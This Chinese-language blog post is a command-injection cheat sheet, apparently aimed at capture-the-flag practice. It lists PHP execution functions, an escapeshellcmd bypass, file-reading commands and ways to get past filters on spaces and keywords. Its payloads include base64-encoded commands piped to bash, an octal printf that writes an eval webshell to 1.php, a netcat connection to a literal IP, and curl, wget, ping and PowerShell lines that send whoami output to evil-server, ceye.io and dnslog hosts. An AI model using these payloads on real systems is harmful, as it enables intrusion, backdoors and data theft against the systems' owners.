wywwzjj's Blog.

命令注入总结

字数统计: 1.6k阅读时长: 7 min
2019/05/12 Share

直接执行代码

PHP 中有不少可以直接执行代码的函数。

1
2
3
4
5
6
7
8
eval();
assert();
system();
exec();
shell_exec();
passthru();
escapeshellcmd();
pcntl_exec();

preg_replace( ) 代码执行

preg_replace() 的第一个参数如果存在 /e 模式修饰符,则允许代码执行。

1
2
3
4
<?php
$var = "<tag>phpinfo()</tag>";
preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var);
?>

若无 /e 修饰符,则可以尝试 %00 截断。

重定向

  • cmd > file
    把cmd命令的输出重定向到文件file中。如果file已经存在,则清空原有文件,使用bash的noclobber选项可以防止复盖原有文件。

  • cmd >> file
    把cmd命令的输出重定向到文件file中,如果file已经存在,则把信息加在原有文件后面。

  • cmd < file
    使cmd命令从file读入

  • cmd << text
    从命令行读取输入,直到一个与text相同的行结束。除非使用引号把输入括起来,此模式将对输入内容进行shell变量替换。如果使用<<- ,则会忽略接下来输入行首的tab,结束行也可以是一堆tab再加上一个与text相同的内容,可以参考後面的例子。

  • cmd <<< word
    把word(而不是文件word)和后面的换行作为输入提供给cmd。

  • cmd <> file
    以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。

  • cmd >| file
    功能同>,但即便在设置了noclobber时也会复盖file文件,注意用的是|而非一些书中说的!,目前仅在csh中仍沿用>!实现这一功能。

  • : > filename

    把文件filename截断为0长度。如果文件不存在, 那么就创建一个0长度的文件(与touch的效果相同).

  • cmd >&n

    把输出送到文件描述符n

  • cmd m>&n

    把输出到文件符m的信息重定向到文件描述符n

  • cmd >&-

    关闭标准输出

  • cmd <&n

    输入来自文件描述符n

  • cmd m<&n

    m来自文件描述各个n

  • cmd <&-

    关闭标准输入

  • cmd <&n-

    移动输入文件描述符n而非复制它。

  • cmd >&n-

    移动输出文件描述符n而非复制它。
    注意: >&实际上复制了文件描述符,这使得cmd > file 2>&1cmd 2>&1 >file的效果不一样。

读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
cat flag /{cat,flag}
more flag
less flag
bzmore flag
bzless flag
head flag
tail flag
tailf flag
tac flag
nl flag
od -a flag

fire flag
wc flag
uniq flag
diff flag flag1.txt
sed -n '1,2p' flag
find -P flag
strings flag
curl file:///root/flag
sort flag
bash -v flag
rev flag
paste ./flag.txt /etc/passwd

Bypass

多条命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
%0a、%0d    换行符与回车符
| 第一条命令结果作为第二条命令的输入
|| 第一条执行失败,执行第二条命令
; 连续指令功能。
& 连接的两条命令都会执行
&& 当第一条执行成功后执行后续命令

echo 666`date` => 666Tue 14 May 2019 07:15:23 AM EDT

# Windows
Copy %0a

%1a - 一个神奇的角色,作为.bat文件中的命令分隔符
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>

绕过 escapeshellcmd

  • win 下执行 bat
1
2
3
4
5
6
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');

执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。

1
dir=../ %1a whoami

空格

  • ${IFS}
1
2
3
4
cat${IFS}flag
cat${IFS}$9flag
cat$IFS$9flag
cat%09flag # \0x09 是 TAB
  • 重定向符<>
1
2
cat<>flag
cat<flag

黑名单绕过

  • 拼接
1
a=c;b=at;c=flag;$a$b $c
  • 利用已存在的资源

从已有的文件或者环境变量中获得相应的字符。

  • 编码
1
2
3
4
5
6
7
`echo "Y2F0IGZsYWc="|base64 -d`
echo "Y2F0IGZsYWc="|base64 -d|bash

$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")

#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
$ {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
  • 单引号、双引号
1
2
c""at fl''ag
c'a't f'l'ag
  • 反斜线 \
1
c\at fl\ag
  • 通配符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/?in/?s => ls

* 0到无穷个任意字符
? 一个任意字符
[ ] 一个在括号内的字符,e.g. [abcd]
[ - ] 在编码顺序内的所有字符
[^ ] 一个不在括号内的字符
[! ] 同 ^
cat fl[0-z]g

echo d{a,e,i,u,o}g => dag deg dig dug dog
echo {fl,fla}{ag,g} => flag flg flaag flag
echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg

花括号拓展{OS_COMMAND,ARGUMENT}
在Linux bash中还可以使用{cat,/etc/passwd}来绕过
这里没实验成功
  • 未定义变量
1
cat$x /etc/passwd
  • 可变函数
1
2
3
4
5
6
(sy.(st).em)(whoami)
$_GET[a]($_GET[b].$_GET[c])

获取内置函数 system 的索引后,直接执行
get_defined_functions()[internal] | grep ststem
get_defined_functions()[internal][381](whoami)
  • $@
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ c$@at fl$@ag
flag{xxx}

$ echo i$@d
id

$ i$@d
uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)

$ echo i$@d|$0
uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)

$ echo {nc,47.101.220.241,2333}|$0
直接连 nc 了。。。$0 好牛逼?
$0 就相当于 bash 另外 $n 表示命令行第 n 个参数

$ $0<<<i$@d
uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
  • 利用已经存在的资源
1
2
3
4
5
6
7
8
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

$ echo $PATH| cut -c 1
/

$ echo $PATH| cut -c 1-4
/usr
  • ${PS2} 对应字符 ‘>’
  • ${PS4} 对应字符 ‘+’
  • ${IFS} 对应 内部字段分隔符
  • ${9} 对应 空字符串

无回显

  • 弹 shell

  • DNS 外带数据

1
curl "http://testhash.test.dnslog.link/?`whoami`"
  • HTTP 外带
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# linux
curl http://evil-server/`whoami`
wget http://evil-server/$(whoami)
curl xxxx.ceye.io/`whoami`
curl http://xxxx.ceye.io/$(id|base64)
ping -c 1 `whoami`.xxxx.ceye.io

# windows
http:
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
dns请求:
获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);

长度限制

  • 文件构造(参考橘子那个 hitcon)
1
2
>w
将会创建一个名字为 w 的空文件。

工具

参考链接

巧用命令注入的 N 种姿势

https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/

CATALOG
  1. 1. 直接执行代码
  2. 2. 重定向
  3. 3. 读文件
  4. 4. Bypass
    1. 4.1. 多条命令
    2. 4.2. 绕过 escapeshellcmd
    3. 4.3. 空格
    4. 4.4. 黑名单绕过
    5. 4.5. 无回显
    6. 4.6. 长度限制
  5. 5. 参考链接